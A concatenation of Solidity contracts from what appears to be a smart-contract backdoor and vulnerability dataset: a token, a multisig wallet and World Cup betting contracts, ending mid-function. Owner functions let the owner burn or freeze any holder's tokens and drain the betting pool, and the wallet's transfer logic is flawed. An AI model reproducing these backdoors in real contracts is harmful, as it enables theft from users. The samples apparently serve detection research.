event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isSafe(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function SafeTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unsafeTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 75,297 | 14,184 |
2ce64e1aa0fede6b038a9a26b5d22c5598366bf6fabf40483c98ea16e5df81e4
| 16,085 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc0a633ef0c5fb07e2b3b49094acd8b6249eb822c.sol
| 3,887 | 14,949 |
pragma solidity ^0.4.24;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
}
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has five types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
constructor(address[] _owners, uint _required) public {
m_numOwners = _owners.length;// + 1;
//m_owners[1] = uint(msg.sender);
//m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[1 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 1 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
PendingState storage pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
emit Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
emit OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
emit OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
emit OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
emit RequirementChanged(_newRequired);
}
function isOwner(address _addr) public view returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) public view returns (bool) {
PendingState storage pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
if (pending.ownersDone & ownerIndexBit == 0) {
return false;
} else {
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
PendingState storage pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
emit Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private returns (bool) {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
if (m_pendingIndex[i] != 0) {
delete m_pending[m_pendingIndex[i]];
}
}
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// uses is specified in the modifier.
contract daylimit is multiowned {
// MODIFIERS
// simple modifier for daily limit.
modifier limitedDaily(uint _value) {
if (underLimit(_value))
_;
}
// METHODS
// constructor - stores initial daily limit and records the present day's index.
constructor(uint _limit) public {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
m_dailyLimit = _newLimit;
}
function resetSpentToday() onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
m_spentToday = 0;
}
// INTERNAL METHODS
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private view returns (uint) { return block.timestamp / 1 days; }
// FIELDS
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address from, uint value);
event SingleTransact(address owner, uint value, address to);
event MultiTransact(address owner, bytes32 operation, uint value, address to);
// Confirmation still needed for a transaction.
event ConfirmationERC20Needed(bytes32 operation, address initiator, uint value, address to, ERC20Basic token);
event ConfirmationETHNeeded(bytes32 operation, address initiator, uint value, address to);
// FUNCTIONS
// TODO: document
function changeOwner(address _from, address _to) external;
//function execute(address _to, uint _value, bytes _data) external returns (bytes32);
//function confirm(bytes32 _h) public returns (bool);
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).transact(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract Wallet is multisig, multiowned, daylimit {
uint public version = 4;
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
address token;
}
ERC20Basic public erc20;
// METHODS
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
constructor(address[] _owners, uint _required, uint _daylimit, address _erc20)
multiowned(_owners, _required) daylimit(_daylimit) public {
erc20 = ERC20Basic(_erc20);
}
function changeERC20(address _erc20) onlymanyowners(keccak256(abi.encodePacked(msg.data))) public {
erc20 = ERC20Basic(_erc20);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
selfdestruct(_to);
}
// gets called when no other function matches
function() public payable {
// just being sent some cash?
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transacion immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function transferETH(address _to, uint _value) external onlyowner returns (bytes32 _r) {
// first, take the opportunity to check that we're under the daily limit.
if (underLimit(_value)) {
emit SingleTransact(msg.sender, _value, _to);
// yes - just execute the call.
_to.transfer(_value);
return 0;
}
// determine our operation hash.
_r = keccak256(abi.encodePacked(msg.data, block.number));
if (!confirmETH(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
emit ConfirmationETHNeeded(_r, msg.sender, _value, _to);
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirmETH(bytes32 _h) onlymanyowners(_h) public returns (bool) {
if (m_txs[_h].to != 0) {
m_txs[_h].to.transfer(m_txs[_h].value);
emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to);
delete m_txs[_h];
return true;
}
}
function transferERC20(address _to, uint _value) external onlyowner returns (bytes32 _r) {
// first, take the opportunity to check that we're under the daily limit.
if (underLimit(_value)) {
emit SingleTransact(msg.sender, _value, _to);
// yes - just execute the call.
erc20.transfer(_to, _value);
return 0;
}
// determine our operation hash.
_r = keccak256(abi.encodePacked(msg.data, block.number));
if (confirmERC20(_r, address(0)) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
m_txs[_r].token = erc20;
emit ConfirmationERC20Needed(_r, msg.sender, _value, _to, erc20);
}
}
function confirmERC20(bytes32 _h, address from) onlymanyowners(_h) public returns (bool) {
if (m_txs[_h].to != 0) {
ERC20Basic token = ERC20Basic(m_txs[_h].token);
token.transferFrom(from, m_txs[_h].to, m_txs[_h].value);
emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
| 181,054 | 14,185 |
90023cf39ead26876ef5fedbd7fb09d98be34c2761786a8b64b131eaa4dc846d
| 17,043 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xa01bba0112126fe2398d23d6c1281c2a0d871b18.sol
| 4,909 | 16,016 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function withdrawAll() public onlyOwner{
owner.transfer(address(this).balance);
}
function withdrawPart(address _to,uint256 _percent) public onlyOwner{
require(_percent>0&&_percent<=100);
require(_to != address(0));
uint256 _amount = address(this).balance - address(this).balance*(100 - _percent)/100;
if (_amount>0){
_to.transfer(_amount);
}
}
}
contract Pausable is Ownable {
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns(bool) {
paused = true;
return true;
}
function unpause() public onlyOwner whenPaused returns(bool) {
paused = false;
return true;
}
}
contract WWC is Pausable {
string[33] public teams = [
"",
"Egypt", // 1
"Morocco", // 2
"Nigeria", // 3
"Senegal", // 4
"Tunisia", // 5
"Australia", // 6
"IR Iran", // 7
"Japan", // 8
"Korea Republic", // 9
"Saudi Arabia", // 10
"Belgium", // 11
"Croatia", // 12
"Denmark", // 13
"England", // 14
"France", // 15
"Germany", // 16
"Iceland", // 17
"Poland", // 18
"Portugal", // 19
"Russia", // 20
"Serbia", // 21
"Spain", // 22
"Sweden", // 23
"Switzerland", // 24
"Costa Rica", // 25
"Mexico", // 26
"Panama", // 27
"Argentina", // 28
"Brazil", // 29
"Colombia", // 30
"Peru", // 31
"Uruguay" // 32
];
}
contract Champion is WWC {
event VoteSuccessful(address user,uint256 team, uint256 amount);
using SafeMath for uint256;
struct Vote {
mapping(address => uint256) amounts;
uint256 totalAmount;
address[] users;
mapping(address => uint256) weightedAmounts;
uint256 weightedTotalAmount;
}
uint256 public pool;
Vote[33] votes;
uint256 public voteCut = 5;
uint256 public poolCut = 30;
uint256 public teamWon;
uint256 public voteStopped;
uint256 public minVote = 0.05 ether;
uint256 public voteWeight = 4;
mapping(address=>uint256) public alreadyWithdraw;
modifier validTeam(uint256 _teamno) {
require(_teamno > 0 && _teamno <= 32);
_;
}
function setVoteWeight(uint256 _w) public onlyOwner{
require(_w>0&& _w<voteWeight);
voteWeight = _w;
}
function setMinVote(uint256 _min) public onlyOwner{
require(_min>=0.01 ether);
minVote = _min;
}
function setVoteCut(uint256 _cut) public onlyOwner{
require(_cut>=0&&_cut<=100);
voteCut = _cut;
}
function setPoolCut(uint256 _cut) public onlyOwner{
require(_cut>=0&&_cut<=100);
poolCut = _cut;
}
function getVoteOf(uint256 _team) validTeam(_team) public view returns(uint256 totalUsers,
uint256 totalAmount,
uint256 meAmount,
uint256 meWeightedAmount) {
Vote storage _v = votes[_team];
totalAmount = _v.totalAmount;
totalUsers = _v.users.length;
meAmount = _v.amounts[msg.sender];
meWeightedAmount = _v.weightedAmounts[msg.sender];
}
function voteFor(uint256 _team) validTeam(_team) public payable whenNotPaused {
require(msg.value >= minVote);
require(voteStopped == 0);
userVoteFor(msg.sender, _team, msg.value);
}
function userVoteFor(address _user, uint256 _team, uint256 _amount) internal{
Vote storage _v = votes[_team];
uint256 voteVal = _amount.sub(_amount.mul(voteCut).div(100));
if (voteVal<_amount){
owner.transfer(_amount.sub(voteVal));
}
if (_v.amounts[_user] == 0) {
_v.users.push(_user);
}
pool = pool.add(voteVal);
_v.totalAmount = _v.totalAmount.add(voteVal);
_v.amounts[_user] = _v.amounts[_user].add(voteVal);
_v.weightedTotalAmount = _v.weightedTotalAmount.add(voteVal.mul(voteWeight));
_v.weightedAmounts[_user] = _v.weightedAmounts[_user].add(voteVal.mul(voteWeight));
emit VoteSuccessful(_user,_team,_amount);
}
function stopVote() public onlyOwner {
require(voteStopped == 0);
voteStopped = 1;
}
function setWonTeam(uint256 _team) validTeam(_team) public onlyOwner{
require(voteStopped == 1);
teamWon = _team;
}
function myBonus() public view returns(uint256 _bonus,bool _isTaken){
if (teamWon==0){
return (0,false);
}
_bonus = bonusAmount(teamWon,msg.sender);
_isTaken = alreadyWithdraw[msg.sender] == 1;
}
function bonusAmount(uint256 _team, address _who) internal view returns(uint256) {
Vote storage _v = votes[_team];
if (_v.weightedTotalAmount == 0){
return 0;
}
uint256 _poolAmount = pool.mul(100-poolCut).div(100);
uint256 _amount = _v.weightedAmounts[_who].mul(_poolAmount).div(_v.weightedTotalAmount);
return _amount;
}
function withdrawBonus() public whenNotPaused{
require(teamWon>0);
require(alreadyWithdraw[msg.sender]==0);
alreadyWithdraw[msg.sender] = 1;
uint256 _amount = bonusAmount(teamWon,msg.sender);
require(_amount<=address(this).balance);
if(_amount>0){
msg.sender.transfer(_amount);
}
}
}
contract TeamVersus is WWC {
event VoteSuccessful(address user,uint256 combatId,uint256 team, uint256 amount);
using SafeMath for uint256;
struct Combat{
uint256 poolOfTeamA;
uint256 poolOfTeamB;
uint128 teamAID; // team id: 1-32
uint128 teamBID; // team id: 1-32
uint128 state; // 0 not started 1 started 2 ended
uint128 wonTeamID; // 0 not set
uint256 errCombat; // 0 validate 1 errCombat
}
mapping (uint256 => bytes32) public comments;
uint256 public voteCut = 5;
uint256 public poolCut = 20;
uint256 public minVote = 0.05 ether;
Combat[] combats;
mapping(uint256=>mapping(address=>uint256)) forTeamAInCombat;
mapping(uint256=>mapping(address=>uint256)) forTeamBInCombat;
mapping(uint256=>address[]) usersForTeamAInCombat;
mapping(uint256=>address[]) usersForTeamBInCombat;
mapping(uint256=>mapping(address=>uint256)) public alreadyWithdraw;
function init() public onlyOwner{
addCombat(1,32,"Friday 15 June");
addCombat(2,7,"Friday 15 June");
addCombat(19,22,"Friday 15 June");
addCombat(15,6,"Saturday 16 June");
addCombat(28,17,"Saturday 16 June");
addCombat(31,13,"Saturday 16 June");
addCombat(12,3,"Saturday 16 June");
addCombat(25,21,"Sunday 17 June");
addCombat(16,26,"Sunday 17 June");
addCombat(29,24,"Sunday 17 June");
addCombat(23,9,"Monday 18 June");
addCombat(11,27,"Monday 18 June");
addCombat(5,14,"Monday 18 June");
addCombat(30,8,"Tuesday 19 June");
addCombat(18,4,"Tuesday 19 June");
addCombat(20,1,"Tuesday 19 June");
addCombat(19,2,"Wednesday 20 June");
addCombat(32,10,"Wednesday 20 June");
addCombat(7,22,"Wednesday 20 June");
addCombat(13,6,"Thursday 21 June");
addCombat(15,31,"Thursday 21 June");
addCombat(28,12,"Thursday 21 June");
addCombat(29,25,"Friday 22 June");
addCombat(3,17,"Friday 22 June");
addCombat(21,24,"Friday 22 June");
addCombat(11,5,"Saturday 23 June");
addCombat(9,26,"Saturday 23 June");
addCombat(16,23,"Saturday 23 June");
addCombat(14,27,"Sunday 24 June");
addCombat(8,4,"Sunday 24 June");
addCombat(18,30,"Sunday 24 June");
addCombat(32,20,"Monday 25 June");
addCombat(10,1,"Monday 25 June");
addCombat(22,2,"Monday 25 June");
addCombat(7,19,"Monday 25 June");
addCombat(6,31,"Tuesday 26 June");
addCombat(13,15,"Tuesday 26 June");
addCombat(3,28,"Tuesday 26 June");
addCombat(17,12,"Tuesday 26 June");
addCombat(9,16,"Wednesday 27 June");
addCombat(26,23,"Wednesday 27 June");
addCombat(21,29,"Wednesday 27 June");
addCombat(24,25,"Wednesday 27 June");
addCombat(8,18,"Thursday 28 June");
addCombat(4,30,"Thursday 28 June");
addCombat(27,5,"Thursday 28 June");
addCombat(14,11,"Thursday 28 June");
}
function setMinVote(uint256 _min) public onlyOwner{
require(_min>=0.01 ether);
minVote = _min;
}
function markCombatStarted(uint256 _index) public onlyOwner{
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state==0);
c.state = 1;
}
function markCombatEnded(uint256 _index) public onlyOwner{
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state==1);
c.state = 2;
}
function setCombatWonTeam(uint256 _index,uint128 _won) public onlyOwner{
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state==2);
require(c.teamAID == _won || c.teamBID == _won);
c.wonTeamID = _won;
}
function withdrawBonus(uint256 _index) public whenNotPaused{
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state ==2 && c.wonTeamID>0);
require(alreadyWithdraw[_index][msg.sender]==0);
alreadyWithdraw[_index][msg.sender] = 1;
uint256 _amount = bonusAmount(_index,msg.sender);
require(_amount<=address(this).balance);
if(_amount>0){
msg.sender.transfer(_amount);
}
}
function myBonus(uint256 _index) public view returns(uint256 _bonus,bool _isTaken){
Combat storage c = combats[_index];
if (c.wonTeamID==0){
return (0,false);
}
_bonus = bonusAmount(_index,msg.sender);
_isTaken = alreadyWithdraw[_index][msg.sender] == 1;
}
function bonusAmount(uint256 _index,address _who) internal view returns(uint256){
Combat storage c = combats[_index];
uint256 _poolAmount = c.poolOfTeamA.add(c.poolOfTeamB).mul(100-poolCut).div(100);
uint256 _amount = 0;
if (c.teamAID ==c.wonTeamID){
if (c.poolOfTeamA == 0){
return 0;
}
_amount = forTeamAInCombat[_index][_who].mul(_poolAmount).div(c.poolOfTeamA);
}else if (c.teamBID == c.wonTeamID) {
if (c.poolOfTeamB == 0){
return 0;
}
_amount = forTeamBInCombat[_index][_who].mul(_poolAmount).div(c.poolOfTeamB);
}
return _amount;
}
function addCombat(uint128 _teamA,uint128 _teamB,bytes32 _cmt) public onlyOwner{
Combat memory c = Combat({
poolOfTeamA: 0,
poolOfTeamB: 0,
teamAID: _teamA,
teamBID: _teamB,
state: 0,
wonTeamID: 0,
errCombat: 0
});
uint256 id = combats.push(c) - 1;
comments[id] = _cmt;
}
function setVoteCut(uint256 _cut) public onlyOwner{
require(_cut>=0&&_cut<=100);
voteCut = _cut;
}
function setPoolCut(uint256 _cut) public onlyOwner{
require(_cut>=0&&_cut<=100);
poolCut = _cut;
}
function getCombat(uint256 _index) public view returns(uint128 teamAID,
string teamAName,
uint128 teamBID,
string teamBName,
uint128 wonTeamID,
uint256 poolOfTeamA,
uint256 poolOfTeamB,
uint256 meAmountForTeamA,
uint256 meAmountForTeamB,
uint256 state,
bool isError,
bytes32 comment){
Combat storage c = combats[_index];
teamAID = c.teamAID;
teamAName = teams[c.teamAID];
teamBID = c.teamBID;
teamBName = teams[c.teamBID];
wonTeamID = c.wonTeamID;
state = c.state;
poolOfTeamA = c.poolOfTeamA;
poolOfTeamB = c.poolOfTeamB;
meAmountForTeamA = forTeamAInCombat[_index][msg.sender];
meAmountForTeamB = forTeamBInCombat[_index][msg.sender];
isError = c.errCombat == 1;
comment = comments[_index];
}
function getCombatsCount() public view returns(uint256){
return combats.length;
}
function invalidateCombat(uint256 _index) public onlyOwner{
Combat storage c = combats[_index];
require(c.errCombat==0);
c.errCombat = 1;
}
function voteFor(uint256 _index,uint256 _whichTeam) public payable whenNotPaused{
require(msg.value>=minVote);
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state == 0 && c.wonTeamID==0);
userVoteFor(msg.sender, _index,_whichTeam, msg.value);
}
function userVoteFor(address _standFor, uint256 _index,uint256 _whichTeam, uint256 _amount) internal{
Combat storage c = combats[_index];
uint256 voteVal = _amount.sub(_amount.mul(voteCut).div(100));
if (voteVal<_amount){
owner.transfer(_amount.sub(voteVal));
}
if (_whichTeam == c.teamAID){
